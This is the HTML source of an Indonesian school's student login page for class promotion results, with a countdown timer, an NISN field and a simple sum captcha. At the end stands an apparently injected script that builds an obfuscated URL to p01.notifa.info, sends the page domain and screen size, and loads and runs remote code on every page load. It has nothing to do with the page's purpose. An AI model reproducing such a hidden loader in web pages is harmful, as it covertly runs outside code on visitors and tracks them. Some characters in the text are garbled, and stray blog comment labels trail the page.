| <!DOCTYPE html>
|
| <html lang="en" dir="ltr">
|
| <head>
|
| <meta charset="utf-8">
|
| <meta content="width=device-width, initial-scale=1.0" name="viewport">
|
| <title>K E N A I K A N | UPTD SMPN 1 BANJAR</title>
|
| <link href="img/nesaba_icon.ico" rel="icon">
|
| <link href="assets/dist/css/bootstrap.css" rel="stylesheet">
|
|
|
| <script type="text/javascript" src="assets/dist/js/jquery.1.7.2.js"></script>
|
| <script src="assets/dist/js/jquery.mask.min.js" charset="utf-8"></script>
|
| <script type="text/javascript" src="assets/dist/js/jquery.syotimer.js"></script>
|
| <script type="text/javascript">
|
| $(document).ready(function(){
|
| // $('#no_peserta').mask("00-00-0000-0000-0");
|
| $('#simple-timer').syotimer({
|
| year: 2020,
|
| month: 6,
|
| day: 19,
|
| hour: 8,
|
| minute: 0,
|
| layout: 'hms',
|
| // headTitle: '<h3>' +
|
| // 'Periodic Timer. ' +
|
| // 'The countdown begins first through each 10 days' +
|
| // '</h3>' +
|
| // '<p style="font-size:.8em;color:#666;">' +
|
| // 'The date equal 20:00 2015.01.01' +
|
| // '</p>',
|
| effectType: 'opacity',
|
| periodic: true,
|
| periodInterval: 10,
|
| periodUnit: 'd'
|
| });
|
| });
|
| </script>
|
| <style media="screen">
|
| body{
|
| background: url(img/bg.png) repeat-x;
|
| background-color:#da251c;
|
| }
|
|
|
| #login{
|
| -moz-border-radius: 25px;
|
| -webkit-border-radius: 15px;
|
| background-color:#fff;
|
| width:380px;
|
| height:470px;
|
| margin-top:100px;
|
| /* -moz-box-shadow: 0px 0px 10px;
|
| -webkit-box-shadow: 0px 0px 10px; */
|
| padding: 40px 20px 10px 20px;
|
| text-align: center;
|
| }
|
|
|
| .form-control{
|
| height: 60px;
|
| margin-bottom: 10px;
|
| }
|
|
|
| h2{
|
| font-weight: bold;
|
| margin-bottom: 20px;
|
| }
|
|
|
| button{
|
| width: 100%;
|
| }
|
|
|
| input[type="text"], input[type="date"]{
|
| background-color: #f1f1f1;
|
| text-align: center;
|
| }
|
|
|
|
|
| .smp{
|
| color:#fff;
|
| font-weight:bold;
|
| font-size:32pt;
|
| }
|
|
|
| .waktu{
|
| text-align:center;
|
| padding-top:150px;
|
| }
|
|
|
| .pengumuman{
|
| color:#fff;
|
| font-size:20pt;
|
| }
|
| @media (max-width: 768px) {
|
| .smp{
|
| font-size:22pt;
|
| }
|
|
|
| .waktu{
|
| padding-top:30px;
|
| }
|
|
|
| #login{
|
| width:320px;
|
| margin-top:30px;
|
| }
|
|
|
| .pengumuman{
|
| font-size:12pt;
|
| }
|
| }
|
| </style>
|
| <style type="text/css">
|
| /* Customization Style of SyoTimer */
|
| .syotimer{
|
| text-align: center;
|
| margin: 30px auto 0;
|
| padding: 0 0 10px;
|
| }
|
| .syotimer-cell{
|
| display: inline-block;
|
| margin: 0 5px;
|
|
|
| width: 79px;
|
| background: url(img/timer.png) no-repeat 0 0;
|
| }
|
| .syotimer-cell__value{
|
| font-size: 35px;
|
| color: #80a3ca;
|
|
|
| height: 81px;
|
| line-height: 81px;
|
|
|
| margin: 0 0 5px;
|
| }
|
| .syotimer-cell__unit{
|
| font-family: Arial, serif;
|
| font-size: 12px;
|
| text-transform: uppercase;
|
| color: #fff;
|
| }
|
|
|
| #simple-timer .syotimer-cell_type_day,
|
| #periodic-timer_period_days .syotimer-cell_type_hour,
|
| #layout-timer_only-seconds .syotimer-cell_type_second,
|
| #layout-timer_mixed-units .syotimer-cell_type_minute{
|
| width: 120px;
|
| background-image: url(img/timer_long.png);
|
| }
|
|
|
| .option{
|
| font-weight: 700;
|
| }
|
|
|
|
|
|
|
| </style>
|
| <script>
|
| function hanyaAngka(evt) {
|
| var charCode = (evt.which) ? evt.which : event.keyCode
|
| if (charCode > 31 && (charCode < 48 || charCode > 57))
|
|
|
| return false;
|
| return true;
|
| }
|
| </script>
|
| </head>
|
| <body>
|
| <main role="main">
|
| <div class="container">
|
| <div class="row">
|
| <div class="col-md-7 text-right">
|
| <div class="waktu">
|
| <span class="pengumuman">PENGUMUMAN KENAIKAN KELAS</span><br>
|
| <span class="smp">DIBUKA DALAM</span><br>
|
| <div id="simple-timer"></div>
|
| <h1 class="smp">UPTD SMP NEGERI 1 BANJAR</h1>
|
| </div>
|
|
|
| </div>
|
| <div class="col-md-5">
|
| <div id="login" style="margin-left:auto;margin-right:auto;background-color:rgba(255,255,255,0.3)">
|
| <img src="img/logo_nesaba.png" height="90px"><br><br>
|
| <h2 style="color:#fff">LOGIN SISWA</h2>
|
| <form class="form" action="proses.php" method="post">
|
| <div class="form-group">
|
| <input onkeypress="return hanyaAngka(event)" type="text" id="nisn" name="nisn" class="form-control" placeholder="Masukan NISN anda" >
|
|
|
| </div>
|
| <div class="form-group">
|
| <label style="color:#fff;font-weight:bold" for="captcha">3 + 4 = ?</label>
|
| <input onkeypress="return hanyaAngka(event)" type="text" name="captcha" id="captcha" class="form-control" placeholder="Masukan hasil penjumlahan di atas" required>
|
| </div>
|
| <div class="form-group">
|
| <button type="submit" class="btn btn-primary btn-lg">LOGIN</button>
|
| </div>
|
| </form>
|
| </div>
|
| </div>
|
| </div>
|
| <div class="row">
|
| <div class="col-sm-12 text-center">
|
| <div style="color:#fff;font-size:10pt;padding-top:20px;height:80px;width:100%;">
|
| Copyright © 2020. UPTD SMP Negeri 1 Banjar.
|
| </div>
|
| </div>
|
| </div>
|
| </div>
|
| </main>
|
| <script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "p01.notifa.info/3fsmd3/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582JQuX3gzRncX7%2fPfGRZU%2bTdpZaRvrhteZOjSH7nq0L%2bsREpDK%2f69jt2NV6KNsZObZLzQdO6HWeTG271y1zUlSkwicLzAwr%2fYpbjrauNdWuWY9QaB5cjq1Ru62ikwZp5DoQ5OXcwePuEyzyby5%2b8WSF%2bKr%2fHh1st8BgL%2b5KIDdxTML1iLq3q80k9uHfy%2fW6KwNTieDFtsE3IbZZr11MlrNPSkbNOPxy4asTyR7yPUKWiauQYRLtN%2bDFZfA%2b%2fNp7%2f2sskIFFpri2mI6DAScyK%2bmzPQk%2bnBZNQm83EY38wcZ5rIbq7O48vDr9yMKfrlNiQo2NuBlySgCZSe0EdsjE8oKn77VkMaMjWRWorfTsu9W8%2fTdWx%2fIo9%2f5rQbnnYzJZA2aTJUjgBca9om8%2fOzzoubPkl7YOa4Fh%2b91YM9WeXcVhBybHMVwKhxH1GNyThrXbrHIviMxKNF%2b5Q%2bxEYkxCMTcB1qEfZya0%2fwhNn9R%2bGMdNc1nnlEPqO%2bry1Kmko%2fWMvVQidl562P%2fWGWxcVbwxDmsFU2oJdQMeRrbiB30gKvQcgHLJ6AFxQVEdl0zla5jiSYnITDUDIDs%2bWOwuPLO41ldcE%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
|
| </html>
|
| |
Komentar
Posting Komentar